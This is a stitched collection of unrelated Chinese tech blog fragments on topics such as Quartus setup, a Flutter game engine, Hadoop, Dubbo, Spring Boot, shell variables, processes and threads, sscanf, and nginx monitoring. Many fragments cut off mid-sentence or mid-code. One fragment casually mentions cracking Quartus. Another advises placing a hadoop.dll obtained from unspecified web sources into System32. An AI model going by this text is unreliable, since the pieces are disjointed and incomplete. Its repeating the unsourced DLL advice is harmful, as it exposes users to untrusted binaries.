目录
1 安装并破解软件之后,启动Quartus,打开File->New Project Wizard 进入下一个设置界面
2点击Next跳过介绍页,进入工程设置页
3 配置工程
4建立新的工程文件
5 更改代码编辑器
1 安装并破解软件之后,启动Quartus,打开File->New Project Wizard 进入下一个设置界面 2点击Next跳过介绍页,进入工程设置页 3 配置工程 在page1 of 5的配置页中,选择工程保存位置和设置项目名称,项目的保存路径不能包含 中文字符
page2 of 5是引入现有的设计文件,如果没有可以跳过
page3 of 5是选择仿真的FPAG器件,如果没有或者不需要实际测试可以保留默认并跳过
page4 of 5是选择开发语言和选择仿真EDA,我一般是选择Verilog和ModelSim-Altera
在page5 of 5查看配置信息,确认无误后点击finish即可,如果有错可以点击back返回修改
4建立新的工程文件 在File->New或ctrl+N快捷键弹出界面选择建立文件类型,我选择一个Verilog HDL file文件,把这个文件设为顶层文件,即模块的名字和工程和名字一样,即是顶层文件,整个项目只能存在一个顶层文件。
比如我建立了一个简单的计数器项目,其中LED_NUM是我的顶层模块,CNT4是其中的计数器模块,在顶层模块中实例化计数器CNT4模块。每一个模块的名字必须和模块保存文件的名字一样,比如模块LED_NUM的文件名字必须为LED_NUM.v。
5 更改代码编辑器 如果觉得Quartus自带的代码编辑器不好用可以在软件里面更改默认的代码编辑软件。在Tools->Options->Preferred Text Editor中选择。
Text Editor:选择编辑器软件
Command-line:选择编辑器的安装路径,一定选择到编辑器的启动程序哪里,就是.exe文件哪里。
阿里妹导读:最近APP游戏化成为了一个新的风口,把在游戏中一些好玩的、能吸引用户的娱乐方式或场景应用在应用当中,以达到增加用户粘性,提升DAU的效果,成本较低。同时在一些需要对用户有引导性的场景,游戏化还可以使用户更易于接受并完成引导性任务,并通过激励的形式鼓励用户持续沉浸在任务当中,形成良性循环。基于这个思路,闲鱼开发了互动引擎Candy。
什么是Candy引擎?
Candy 是闲鱼技术团队设计开发的一款引擎:
APP嵌入式的、轻量级的、易于开发、性能稳定的互动引擎;
绘制系统高度融合Flutter体系,游戏场景和Flutter UI支持无缝混排;
动画系统对主流格式的支持友好且易扩展。
本文讲解我们为什么要做这款引擎以及我们是如何设计这款引擎的。
缘起
目前APP内嵌小游戏一般采用H5小游戏的方式,而这个方式存在一些隐患,并不被很多应用商店推荐。因此我们需要寻找一种新的安全的方式来实现APP内嵌小游戏,并且我们希望这个方式开发友好、性能稳定、功能齐全;所以我们遵循这三点去寻找一种新的方式。
思考
我们主要通过下面三种思路来探讨APP内嵌小游戏:
采用Native的游戏能力
目前Native开发游戏生态并不是特别成熟,而且采用Native开发,就必须面临双端两套代码的问题,开发成本和后续维护成本都会比较高。
采用游戏引擎,比如Cocos-2dx、Unity等
虽然游戏引擎目前非常成熟,但是游戏引擎一般用于开发重度游戏,所以引擎大小一般比较大,引入游戏引擎会导致包大小增幅不小。而且游戏引擎比较复杂,所以引擎启动耗时较多,比较难做到游戏页面秒开;游戏引擎加载进来后内存消耗都会比较大。游戏引擎和APP间的通信互动相对较为麻烦,目前没有比较好的混合栈支持。游戏引擎的UI能力较弱,无法胜任复杂的APP UI逻辑,若采用游戏引擎开发内嵌小游戏,无法融合小游戏页面内游戏场景和Feeds等UI。
采用Flutter的轻量级互动引擎
Flutter本身是基于Skia这个2D绘制引擎实现的跨端APP解决方案,所以它天然具备2D绘制能力,所以采用Flutter来实现App内嵌小游戏存在可能。目前Flutter存在一些轻量级游戏引擎,比如Flame,这款引擎支持简单游戏逻辑和动画能力,同时整个游戏是以一个Widget的形式最终插入到APP中,可以让小游戏页面中游戏部分和UI部分完美融合。
综上考虑,我们决定采用Flutter的轻量级互动引擎。
Flame?还是自主设计?
Flame引擎目前是Flutter生态中比较不错的一款小游戏引擎,但是依然存在很多问题:
游戏系统不完善:引擎只有Game和Componet,没有Scene和GameObject概念,这样会导致游戏对象嵌套复杂,对多场景不友好。
引擎完全采用Canvas来实现,游戏场景中无法实现局部刷新,存在性能隐患。
缺少GUI系统,场景内嵌套UI比较难。
缺少手势事件系统。
动画支持格式不主流:骨骼动画是通过Flare支持的,不支持DragonBones。粒子动画最近才上,对主流格式支持也不太友好。
资源管理存在内存问题,资源加载后一直不会释放。
缺少机型适配能力。
基于这些考虑,我们决定重新设计一款Flutter互动引擎:
对标集团的EVA引擎和业界的Unity引擎,完善游戏系统。
复用Flutter局部刷新。
复用Flutter UI作为GUI。
复用Flutter手势管理。
实现支持主流格式的骨骼动画和粒子动画。
复用APP资源库(图片库)。
实现全局750适配。
其中2-4点本质上是将互动引擎的绘制系统融合入Flutter的绘制体系中,本文下面按解决上面问题的思路依次介绍我们的引擎设计。
Candy引擎设计
框架设计
首先分析游戏化业务需要哪些能力,分析我们的业务场景,得出游戏化业务需要图4-1所示的能力:
图4-1 游戏化业务能力需求
拆解后,互动引擎需要有游戏系统、绘制系统、生命周期系统、GUI系统、物理系统、动画系统、资源系统、事件系统(手势管理)。
根据我们之前的定位,互动游戏绘制融合到Flutter绘制体系中来,基于这个思路,我们可以复用Flutter的UI系统,同时需要融合Flutter和游戏的手势管理。最终我们得出如图4-2所示的框架图:
图4-2 互动引擎架构
整个互动引擎架构共分为四部分:
接口层
对外暴露的游戏接口,主要包含创建游戏、创建游戏对象、添加游戏组件等接口,同时还封装了一些常用游戏对象、常用游戏组件的工厂接口。
游戏系统
游戏世界的管理系统,主要管理Game、Scene、GameObject和Compoent间的组织关系,还控制游戏子系统和绘制系统的启动与关闭。
游戏子系统
游戏化能力补充,主要包含生命周期系统、物理系统、动画系统和资源系统,被游戏系统调用。
绘制系统
负责游戏的绘制,本引擎的绘制系统会高度和Flutter绘制逻辑融合,所以兼容了GUI系统和事件系统(手势管理)。
游戏系统 对标Unity设计,游戏系统有下列四大元素: Game:游戏类,负责整个游戏的管理,Scene的加载管理以及各子系统管理与调度。
Scene:游戏场景类,负责游戏场景中各游戏对象的管理。
GameObject:游戏对象类,游戏世界中游戏对象的最小单位,游戏世界中的任何物体都是GameObject。
Component:游戏组件类,表示游戏对象的能力属性,比如SpriteComponent表示精灵组件,表示绘制精灵的能力。
GameObject通过组合Component的形式来让自己拥有各种能力,不同的组合让GameObject相互之间不一样。整个游戏系统的组织关系如图4-3所示:
图4-3 游戏组织形式
生命周期
对标Unity和Flutter特性,我们设计了如表4-1所示的生命周期,共有八个回调,基本可以满足互动游戏业务开发。
事情起因 最初我使用Hadoop的时候我想的是在linux里安装一个eclipse,可是想想这会直接把一些性能不太好的Linux搞崩溃。然后我就想远程连接Hadoop。网上好多教程说win远程连接Hadoop还要在win上安装Hadoop,但是经过我的测试,==只需要下载一个hadoop.dll放到c:\Windows\System32目录下就好。环境变量都不用配置。==这个下载的话直接在网上找就能找到。或者直接联系我我直接给你发一份都可以。
hadoop.dll+hosts文件更改 1.这里再强调一遍。把这个hadoop.dll放到它该在的位置可谓是最重要的一个步骤,首先就得先把这个下载了搞上去。
2.因为你可能有时候使用的ip的映射,所以建议还是在windows的hosts(C:\Windows\System32\drivers\etc)文件上加上映射。如我下面配置的这样写道最后面。
maven配置 在上面的包已经导入到相应的目录下后就新建一个maven工程就好。然后配置pom.xml文件,这个配置看起来有点多哈,我就直接贴过来了。将里面的3.1.3全部换成自己的版本。
<dependency> <groupId>org.apache.hadoop</groupId> <artifactId>hadoop-common</artifactId> <version>3.1.3</version> <exclusions> <exclusion> <artifactId>jackson-annotations</artifactId> <groupId>com.fasterxml.jackson.core</groupId> </exclusion> <exclusion> <artifactId>jsr305</artifactId> <groupId>com.google.code.findbugs</groupId> </exclusion> <exclusion> <artifactId>guava</artifactId> <groupId>com.google.guava</groupId> </exclusion> <exclusion> <artifactId>nimbus-jose-jwt</artifactId> <groupId>com.nimbusds</groupId> </exclusion> <exclusion> <artifactId>commons-codec</artifactId> <groupId>commons-codec</groupId> </exclusion> <exclusion> <artifactId>commons-logging</artifactId> <groupId>commons-logging</groupId> </exclusion> <exclusion> <artifactId>netty</artifactId> <groupId>io.netty</groupId> </exclusion> <exclusion> <artifactId>jaxb-api</artifactId> <groupId>javax.xml.bind</groupId> </exclusion> <exclusion> <artifactId>commons-compress</artifactId> <groupId>org.apache.commons</groupId> </exclusion> <exclusion> <artifactId>zookeeper</artifactId> <groupId>org.apache.zookeeper</groupId> </exclusion> <exclusion> <artifactId>jackson-core-asl</artifactId> <groupId>org.codehaus.jackson</groupId> </exclusion> <exclusion> <artifactId>jackson-mapper-asl</artifactId> <groupId>org.codehaus.jackson</groupId> </exclusion> <exclusion> <artifactId>slf4j-api</artifactId> <groupId>org.slf4j</groupId> </exclusion> <exclusion> <artifactId>commons-collections</artifactId> <groupId>commons-collections</groupId> </exclusion> <exclusion> <artifactId>slf4j-log4j12</artifactId> <groupId>org.
安装Deepin官网下的Deepin系统,发现没有WiFi选项,并且笔记本的触摸板也无法使用。 原因: Deepin官网提供的系统linux内核版本为Linux kernel 4.15,此版本下触摸板使用不了,rtl8821ce驱动每次安装时make总报错,换内核版本为5.5的触摸板可以使用,但是无线网卡驱动仍然无法安装成功。
解决方法: 在github上找到一个 在内核版本5.0+上成功安装 的版本驱动,更换5.0内核后,驱动成功安装,重启出现WiFi选项,且能使用,同时触摸板也能够使用,问题解决。
注:内核更换、驱动安装较简单,网上大把教程,这里不做解释。但我这次情况比较特殊,所以分享出来希望能帮助到大家。
无线网卡驱动:rtl8821ce
Linux内核:v5.0 mainline build
遇到一个方法测试了好多次都报*com.alibaba.dubbo.rpc.RpcException: Failed to invoke the method findGoodsById in the service com.qingcheng.service.goods.SpuService. Tried 3 times
这个错。也百度了很多,很多人都说是序列化或者IP的问题,但是实体类都实现了序列化,IP也没问题。
下面的报错第一部分加黑的地方报了重试三次,第二部分加黑的地方打印出来了请求开始和结束的时间是1000毫秒。dubbo默认的超时时间是一秒,重试三次。就是超时的问题。需要给消费者配置超时时间。
com.alibaba.dubbo.rpc.RpcException: Failed to invoke the method findGoodsById in the service com.qingcheng.service.goods.SpuService. Tried 3 times of the providers [192.168.18.19:20881] (1/1) from the registry 127.0.0.1:2181 on the consumer 192.168.18.19 using the dubbo version 2.6.0. Last error is: Invoke remote method timeout. method: findGoodsById, provider: dubbo://192.168.18.19:20881/com.qingcheng.service.goods.SpuService?anyhost=true&application=manager&check=false&dubbo=2.6.0&generic=false&interface=com.qingcheng.service.goods.SpuService&methods=add,findList,findById,update,findPage,saveGoods,delete,findAll,findGoodsById&pid=17648®ister.ip=192.168.18.19&remote.timestamp=1578314761933&revision=1.0-SNAPSHOT&side=consumer×tamp=1578314944465, cause: Waiting server-side response timeout by scan timer. start time: 2020-01-06 20:49:20.
在前⾯课程中,我们学习了 Spring Boot Web 开发、 JPA 数据库操作、 Thymeleaf 和⻚⾯交互技术,这节课 综合这些内容做⼀个⽤户管理功能,包括展示⽤户列表(分⻚)、添加⽤户、修改⽤户和删除⽤户。有⼈说 程序员的⼀⽣都是在增、删、改、查,这句话不⼀定全对,但也有⼀定的道理,相⽐于这句话,我更认同的 是这句:程序员的技术学习都是从增、删、改、查开始的。 这节课将介绍如何使⽤ JPA 和 Thymeleaf 做⼀个⽤户管理功能。 配置信息 添加依赖 pom 包⾥⾯添加 JPA 和 Thymeleaf 的相关包引⽤。 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-Thymeleaf</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-Jpa</artifactId> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> </dependency> 配置⽂件 在 application.properties 中添加配置: GitChat spring.datasource.url=jdbc:mysql://localhost:3306/test?serverTimezone=UTC&useUnico de=true&characterEncoding=utf-8&useSSL=true spring.datasource.username=root spring.datasource.password=root spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver spring.jpa.properties.hibernate.hbm2ddl.auto=create spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL5InnoDBDialect spring.jpa.show-sql= true spring.thymeleaf.cache=false 其中, spring.Thymeleaf.cache=false 是关闭 Thymeleaf 的缓存,不然在开发过程中修改⻚⾯不会⽴刻⽣效 需要重启,⽣产可配置为 true 。 在项⽬ resources ⽬录下会有两个⽂件夹: static ⽬录⽤于放置⽹站的静态内容如 css 、 js 、图⽚; templates ⽬录⽤于放置项⽬使⽤的⻚⾯模板。 启动类 启动类需要添加 Servlet 的⽀持: @SpringBootApplication public class JpaThymeleafApplication extends SpringBootServletInitializer { @Override protected SpringApplicationBuilder configure(SpringApplicationBuilder applicat ion) { return application.
java中任何一个类都是Object类的直接或间接子类,如果类没有超类,则它默认继承自Object类,在Object类中,实现了很多有用的方法,equals()方法默认操作检测两个对象是否具有相同的引用,这虽然很合理,但是并没有实用价值,通常需要重写该方法来比较类的域是否相等,如果参与比较的所有域都相等,则对象也相等,否则不等,对于基本类型恶意直接使用"=="进行判断,对于引用类型则需要重写equals()方法。该方法的声明如下:
public boolean equals(Object obj) { } 本实例将创建三只宠物猫,通过比较它们的名字、年龄、重量、颜色属性来看它们是否相同。
实现过程:
创建Cat类,在该类中定义了4个变量,name、age、weight、color;重写equals()方法来比较对象的属性是否相同;重写toString()方法来方便输出对象; 代码如下:
import java.awt.Color; public class Cat { //创建变量 private String name; private int age; private double weight; private Color color; //构造方法,初始化变量 public Cat(String name, int age, double weight, Color color) { this.name = name; this.age = age; this.weight = weight; this.color = color; } @Override public boolean equals(Object obj) { //将Cat类转换为obj Cat cat = (Cat) obj; //比较名字、年龄、重量、颜色是否相同 return name.equals(cat.name) && (age == cat.
用eclipse2019运行了一个没有pom文件的项目,然后在项目里运行main方法时,提示找不到或无法加载主类,老版本的eclipse就没有问题,看来新版的eclipse对项目的格式要求很严了,必须注意,加入pom文件后,即显示正常
一、概述 1.1 项目背景:
客户是企业的重要资源,也是企业的无形资产,客户的流失,也就意味着资产的流失,因此进行流失分析是十分重要的,进行客户流失分析的目的,就是阻止或者避免客户的流失,特高企业的盈利水平和竞争力。
1.2 目的:
深入了解用户画像及行为偏好,挖掘出影响用户流失的关键因素,并通过算法预测客户访问的转化结果,从而更好地完善产品设计、提升用户体验。
1.3 数据说明:
此次数据是携程用户一周的访问数据,为保护客户隐私,已经将数据经过了脱敏,和实际商品的订单量、浏览量、转化率等有一些差距,不影响问题的可解性。
二、读取数据 2.1 理解数据
可以看到变量比较的多,先进行分类,除去目标变量label,此数据集的字段可以分成三个类别:订单相关指标、客户行为相关指标、酒店相关指标。
2.2 导入相关库及数据
import numpy as np import pandas as pd import seaborn as sns import matplotlib.pyplot as plt %matplotlib inline # 显示全部特征 pd.set_option('display.max_columns', None) df = pd.read_csv(r"./userlostprob.txt",sep="\t",encoding="UTF-8") df.head() # 查看数据维度 df.shape 总共689945条样本数据,除去标签和id列,总共49个特征。
# 查看数据类型 df.info() 只有d和arrival列为字符型,其余均为数值型,后面将d和arrival列处理为数值型即可。 # 查看缺失值占比 df.isnull().mean() 数据集的缺失情况比较严重,有44列存在缺失情况 # 查看标签分布 df['label'].value_counts() # 描述性统计 df.describe() 数据存在负值和极值 三、特征工程 # 将数据copy一份 rawdf=df.copy() 3.1 数据预处理
3.1.1 数据类型转换
文章目录 1.变量的定义2.变量的赋值 1.变量的定义 使用一个特定的字符串去表示不固定的内容
自定义变量
定义变量:变量名=变量值 ,变量名必须以字母或者下划线开头,区分大小写 引用变量:$变量名或者${变量名} 查看变量:echo $变量名 set(所有变量:包括自定义变量和环境变量) 取消变量:unset变量名 作用范围:仅在当前shell中有效 # ip1=1.2.34.1 # echo $ip1 # 啥都没有 环境变量:一般不是不去定义的 定义环境变量: 方法1:export back_dir2=/home/backip 方法2:export back_dir1将自定义变量转换成环境变量 引用环境变量:$变量名或者${变量名} 查看环境变量:echo $变量名 env eg:env|grep back_dir2 取消环境变量:unset 变量名 变量作用范围:在当前shell和子shell中有效 eg:没必要定义环境变量(父子shell都能使用的变量),因为可以在当前脚本中使用另外一个脚本 在public.sh中的内容是: ip10=1.1.1.1 dir_path=/etc/wangji 在test1.sh中的内容是: . public.sh ##这里可以是相对路径,也可以是绝对路径,.表示在当前shell执行 echo "ip10 is: $ip10" echo "dir_path is: $dir_path" 直接执行即可。 这样执行,没必要在public.sh中的末尾添加:export ip10 dir_path,让其变成环境变量 eg:如何去更改系统环境变量,比如添加个/new/bin的路径? vim /etc/profile 在最下面的一行输入: PATH=$PATH:/new/bin export PATH 保存,接着 source /etc/profile ##source表示在当前shell执行 echo $PATH eg 变量的名称=变量的值 $变量的名称:表示引用变量的值 #!
背景:
这个问题虽然常见,但想说清楚还真不容易,在这整理下思路聊聊吧。
文章目录 1.什么是进程?为什么要有进程?2.什么是线程?为什么要有线程?3.它们在Linux内核中实现方式有何不同?4.所以它们到底有哪些区别?附:我们通常所说的上下文切换具体指什么? 1.什么是进程?为什么要有进程? 进程有一个相当精简的解释:进程是对操作系统上正在运行程序的一个抽象。
这个概念确实挺抽象,仔细想想却也挺精准。
我们平常使用计算机,都会在同一时间做许多事,比如边看电影,边微信聊天,顺便打开浏览器百度搜索一下,我们所做的这么多事情背后都是一个个正在运行中的软件程序;这些软件想要运行起来,首先在磁盘上需要有各自的程序代码,然后将代码加载到内存中,CPU会去执行这些代码,运行中会产生很多数据需要存放,也可能需要和网卡、显卡、键盘等外部设备交互,这背后其实就涉及到程序对计算机资源的使用,存在这么多程序,我们当然需要想办法管理程序资源的使用。并且CPU如果只有一个,那么还需要操作系统调度CPU分配给各个程序使用,让用户感觉这些程序在同时运行,不影响用户体验。
理所当然,操作系统会把每个运行中的程序封装成独立的实体,分配各自所需要的资源,再根据调度算法切换执行。这个抽象程序实体就是进程。
所以很多对进程的官方解释中都会提到:进程是操作系统进行资源分配和调度的一个基本单位。
2.什么是线程?为什么要有线程? 在早期的操作系统中并没有线程的概念,进程是拥有资源和独立运行的最小单位,也是程序执行的最小单位。任务调度采用的是时间片轮转的抢占式调度方式,而进程是任务调度的最小单位,每个进程有各自独立的内存空间,使得各个进程之间内存地址相互隔离。
后来,随着计算机行业的发展,程序的功能设计越来越复杂,我们的应用中同时发生着多种活动,其中某些活动随着时间的推移会被阻塞,比如网络请求、读写文件(也就是IO操作),我们自然而然地想着能不能把这些应用程序分解成更细粒度、能 准并行运行 多个顺序执行实体,并且这些细粒度的执行实体可以共享进程的地址空间,也就是可以共享程序代码、数据、内存空间等,这样程序设计模型会变得更加简单。
其实很多计算机世界里的技术演变,都是模拟现实世界。比如我们把一个进程当成一个项目,当项目任务变得复杂时,自然想着能不能将项目按照业务、产品、工作方向等分成一个个任务模块,分派给不同人员各自并行完成,再按照某种方式组织起各自的任务成果,最终完成项目。
需要多线程还有一个重要的理由就是:每个进程都有独立的代码和数据空间(程序上下文),程序之间的切换会有较大的开销;线程可以看做轻量级的进程,同一类线程共享代码和数据空间,每个线程都有自己独立的运行栈和程序计数器,线程之间切换的开销小。所以线程的创建、销毁、调度性能远远优于进程。
在引入多线程模型后,进程和线程在程序执行过程中的分工就相当明确了,进程负责分配和管理系统资源,线程负责CPU调度运算,也是CPU切换时间片的最小单位。对于任何一个进程来讲,即便我们没有主动去创建线程,进程也是默认有一个主线程的。
3.它们在Linux内核中实现方式有何不同? 在Linux 里面,无论是进程,还是线程,到了内核里面,我们统一都叫任务(Task),由一个统一的结构 task_struct 进行管理,这个task_struct 数据结构非常复杂,囊括了进程管理生命周期中的各种信息。
在Linux操作系统内核初始化时会创建第一个进程,即0号创始进程。随后会初始化1号进程(用户进程祖宗:/usr/lib/systemd/systemd),2号进程(内核进程祖宗:[kthreadd]),其后所有的进程线程都是在他们的基础上fork出来的。
我们一般都是通过fork系统调用来创建新的进程,fork 系统调用包含两个重要的事件,一个是将 task_struct 结构复制一份并且初始化,另一个是试图唤醒新创建的子进程。
我们说无论是进程还是线程,在内核里面都是task,管起来不是都一样吗?到底如何区分呢?其实,线程不是一个完全由内核实现的机制,它是由内核态和用户态合作完成的。
创建进程的话,调用的系统调用是 fork,会将五大结构 files_struct、fs_struct、sighand_struct、signal_struct、mm_struct 都复制一遍,从此父进程和子进程各用各的数据结构。而创建线程的话,调用的是系统调用 clone,五大结构仅仅是引用计数加一,也即线程共享进程的数据结构。
4.所以它们到底有哪些区别? 功能: 进程是操作系统资源分配的基本单位,而线程是任务调度和执行的基本单位
开销: 每个进程都有独立的内存空间,存放代码和数据段等,程序之间的切换会有较大的开销;线程可以看做轻量级的进程,共享内存空间,每个线程都有自己独立的运行栈和程序计数器,线程之间切换的开销小。
运行环境: 在操作系统中能同时运行多个进程;而在同一个进程(程序)中有多个线程同时执行(通过CPU调度,在每个时间片中只有一个线程执行)
创建过程: 在创建新进程的时候,会将父进程的所有五大数据结构复制新的,形成自己新的内存空间数据,而在创建新线程的时候,则是引用进程的五大数据结构数据,但是线程会有自己的私有数据、栈空间。
进程和线程其实在cpu看来都是task_struct结构的一个封装,执行不同task即可,而且在cpu看来就是在执行这些task时候遵循对应的调度策略以及上下文资源切换定义,包括寄存器地址切换,内核栈切换。所以对于cpu而言,进程和线程是没有区别的。
附:我们通常所说的上下文切换具体指什么? 操作系统抽象出一个进程的概念,让应用程序专心于实现自己的业务逻辑既可,对应用程序屏蔽了CPU调度、内存管理等硬件细节,而且在有限的CPU上可以“同时”进行许多个任务。但是它为用户带来方便的同时,也引入了一些额外的开销。
在操作系统中,由于CPU的时间片调度策略,从一个进程切换到另一个进程需要保存当前进程的状态并恢复另一个进程的状态:当前运行任务转为就绪(或者挂起、删除)状态,另一个被选定的就绪任务成为当前任务。上下文切换包括保存当前任务的运行环境,恢复将要运行任务的运行环境。
在上下文切换过程中,CPU会停止处理当前运行的程序,并保存当前程序运行的具体位置以便之后继续运行。从这个角度来看,上下文切换有点像我们同时阅读几本书,在来回切换书本的同时我们需要记住每本书当前读到的页码。
在三种情况下可能会发生上下文切换:中断处理,多任务处理,内核/用户态切换。
在中断处理中,其他程序”打断”了当前正在运行的程序。当CPU接收到中断请求时,会在正在运行的程序和发起中断请求的程序之间进行一次上下文切换。
在多任务处理中,CPU会在不同程序之间来回切换,每个程序都有相应的处理时间片,CPU在两个时间片的间隔中进行上下文切换。
在Linux中进行内核/用户态切换也会进行上下文切换,进行系统调用时,CPU寄存器里原来用户态的指令位置需要先保存起来。接着,为了执行内核态代码,CPU寄存器需要更新为内核态指令的新位置。最后才是跳转到内核态运行内核任务。而系统调用结束后,CPU寄存器需要恢复原来保存的用户态,然后再切换到用户空间,继续运行进程,所以一次系统调用的过程,其实是发生了两次CPU上下文切换。
CPU上下文切换,是保证Linux系统正常工作的核心功能之一,一般情况下不需要我们特别关注。
但过多的上下文切换,会把CPU时间消耗在寄存器、内核栈以及虚拟内存等数据的保存和恢复上,从而缩短进程真正运行的时间,导致系统的整体性能大幅下降。
参考资料:
《现代操作系统(第四版)》
《趣谈Linux操作系统》刘超
简介 其实sscanf 中的筛选条件并不是严格意义上的正则表达式,只能说是正则表达式的简化版本,直接套用正则表达式可能出错。比如:
正则表达式中星号*、问号?、加号+、{n,m}分别表示匹配≥0、1个、≥1、n~m个字符,而sscanf中默认匹配任意多个满足条件的字符,直到遇到不满足条件的字符(即相当于默认只有正则表达式星号* 号的功能),不可再使用星号*、问号?、加号+、{n,m}
sscanf筛选条件中需要规定匹配字符个数时,应在%或%*后面加上相应数字
用法示例 /*提取字符串括号里的字符*/ #include<cstdio> #include<cstring> int main(){ char str[256]; sscanf("First (helloWorld): last","%*[^(](%[^)]%*[^\n]",str); printf("$%s$\n",str); //输出$helloWorld$ sscanf("First (helloWorld): last","%*[^(](%5[^)]%*[^\n]",str); //限定5个字符 printf("$%s$\n",str); //输出$hello$ return 0; } /* %*[^(] 连续匹配非左括号字符First 并丢弃之,遇到左括号停止 ( 匹配并丢弃左括号 %[^)] 连续匹配非右括号字符helloWorld(遇到右括号停止)并赋值给str %*[^\n] 连续匹配非换行符的字符,遇到换行符停止(不接收换行符),这部分可省略,不影响结果 %5[^)] 限定只匹配5个字符 */ 符号说明 % 代表选择,后跟相应条件%* 代表过滤(即连续匹配满足条件的字符,并丢弃)%及%* 后面紧跟的数字代表匹配的字符个数%5[^)]代表匹配5个非)的字符,[]内是筛选的条件,^表示否定,如%[a-z]表示接收小写字母,%[A-Z0-9] 表示接收大写字母及数字要匹配中间的字符时,应先将前面的字符用%*过滤掉 拓展 1. 提取子串
// 读取行,并提取第一个括号里的子串 #include <stdio.h> int main() { char line[256], str[128]; while (fgets(line, sizeof line, stdin)) { sscanf(line, "%*[^(](%127[^)]", str); printf("
最近在用scrapy-redis的RedisSpider时,需要在起始请求中添加cookie,发现RedisSpider并不可直接使用start_requests,需要手动实现。
分析可知RedisSpider继承于RedisMixin和Spider类,执行逻辑是RedisMixin的next_requests函数接收到了redis中data后,通过make_request_from_data函数来解码data生成url,make_request_from_data继续调用Spider类中的make_requests_from_url函数生成Request,因此重写Spider中的make_requests_from_url函数即可。
from scrapy.http import Request from scrapy_redis.spiders import RedisSpider class MySpider(RedisSpider): ... def start_requests(self): for url in self.start_urls: yield self.make_requests_from_url(url) def make_requests_from_url(self, url): return Request(url, dont_filter=True, cookies={}, meta={} #自定义... ) def parse(self, response): ... 参考:http://www.it1352.com/728561.html
https://blog.csdn.net/weixin_42311577/article/details/83543050
仅针对mysql、navicat等过去都能正常运行,但重启 / 第二天就出现该问题的情形。
1.简单粗暴的方法。
查看:任务管理器 – 服务 – mysql 是否显示已停。若停止,启动就好了,没停止,重启此服务。
待补充。
傅里叶变化的平移性:https://blog.csdn.net/tyfwin/article/details/89840956
自己理解:为什么入射角度变了,光的空间频率就变了
1、衍射:中间无振荡,低频通过。边缘振荡,振荡为高频,高频抑制。
2、LED平面为空域(位置移动),物面为LED的频域。LED的频域乘以物面的空域。
参考文献: 1. X. Ou, R. Horstmeyer, G. Zheng, and C. Yang, "High numerical aperture Fourier ptychography: principle, implementation and characterization," Opt Express 23, 3472-3491 (2015).
2. G. Zheng, Fourier ptychographic imaging: a MATLAB tutorial (Morgan & Claypool Publishers, 2016).
今天初始化SpringBoot的时候遇到了一个问题,Could not transfer artifact org.springframework.boot:spring-boot-starter-parent:pom
解决步骤:
1.检查setting里面maven的配置:
然后我发现自己并没有问题,开始第二步。
2.更换仓库和镜像,也没用。
3.查看阿里云镜像,访问https://maven.aliyun.com/mvn/view 进入仓库服务
更换中心仓库地址,最终解决问题。
浪费了四个小时在解决问题上,以此文谨记浪费的时间。
更新:
后面我又更新了镜像的问题,通过配置可以完美解决问题,链接如下:
https://blog.csdn.net/HeyWeCome/article/details/104543411
文章目录 准备安装包安装指标释义,{NAMESPACE} 可以在exproter启动的时候指定Server mainServer zonesFilter zonesUpstreams 实例访问metrics,返回的数据样例 准备安装包 nginx-export 官方地址
https://github.com/hnlq715/nginx-vts-exporter
下载 Nginx-exporter wget https://github.com/hnlq715/nginx-vts-exporter/releases/download/v0.10.3/nginx-vts-exporter-0.10.3.linux-amd64.tar.gz 下载 Nginx wget http://nginx.org/download/nginx-1.17.7.tar.gz 下载 nginx 插件 ,记住项目下载地址,下面在配置nginx的时候需要指定 git clone git://github.com/vozlt/nginx-module-vts.git 安装 解压Nginx
tar -zxvf nginx-1.16.1.tar.gz 进入Nginx目录
/export/app/nginx-1.16.1 执行命令 ./configure 是用来生成Makefile,为下一步的编译做准备 --add-module=后面跟上插件的下载地址
./configure --prefix=/export/app/nginx --with-http_ssl_module --add-module=/export/gitspace/nginx-module-vts/ make & make install 修改nginx.conf配置文件添加一下信息
http { vhost_traffic_status_zone; vhost_traffic_status_filter_by_host on; server { # vhost_traffic_status off; location /status { vhost_traffic_status_display; vhost_traffic_status_display_format html; } } } 1.打开vhost过滤:
vhost_traffic_status_filter_by_host on;
开启此功能,在Nginx配置有多个server_name的情况下,会根据不同的server_name进行流量的统计,否则默认会把流量全部计算到第一个server_name上。
作为前端开发leader你必须要对组员开发的代码制定适合项目的开发规范,并且要做到跟踪检查,传统的做法是制定军规,比如命名方式,代码结构,注释模版,缩紧换行等等,然后通过代码review检查,但这样耗时成本太大,没有必要将团队大量时间浪费在这种代码格式的检查上,但代码格式统一对于项目开发人员至关重要,因为我们要相互承接阅读修改彼此的代码,所以自动化的代码检查约束就显得非常重要,本篇博文介绍前端产出的代码css文件的代码检查工具stylelint。不仅仅适用于团队,最重要的是根据通用的代码规范养成良好的编码习惯,利人利己,至少不被歧视。
stylelint 是『一个强大的、现代化的 CSS 检测工具』, 与 ESLint 类似, 是通过定义一系列的编码风格规则帮助我们避免在样式表中出现错误.
一般搭配stylelint-config-standard,stylelint-order使用,其中stylelint是运行工具,stylelint-config-standard是stylelint的推荐配置,stylelint-order是CSS属性排序插件
安装
cnpm install -g stylelint cnpm install -g stylelint-config-standard cnpm install -g stylelint-order
命令行运行 stylelint **.css
.border-white { border: 4px solid blue; } .div1 { width: 50px; height: 50px; border: 4px solid yellow; background-color: pink; } 此处验证rul间换行规则
再验证css顺序
.border-white { border: 4px solid blue; } .div1 { border: 4px solid yellow; background-color: pink; width: 50px; height: 50px; } 检查结果:
文章目录 一、前言二、示例三、总结 一、前言 Lambda 表达式 在日常开发过程中实在是太方便了,功能强大且简化了很多代码。但是遇上编译时异常时候却很尴尬。由于Lambda无法抛出异常,导致你必须要对异常进行捕获。这样写起来的点就很丑。本篇针对这个问题进行了一些改进。
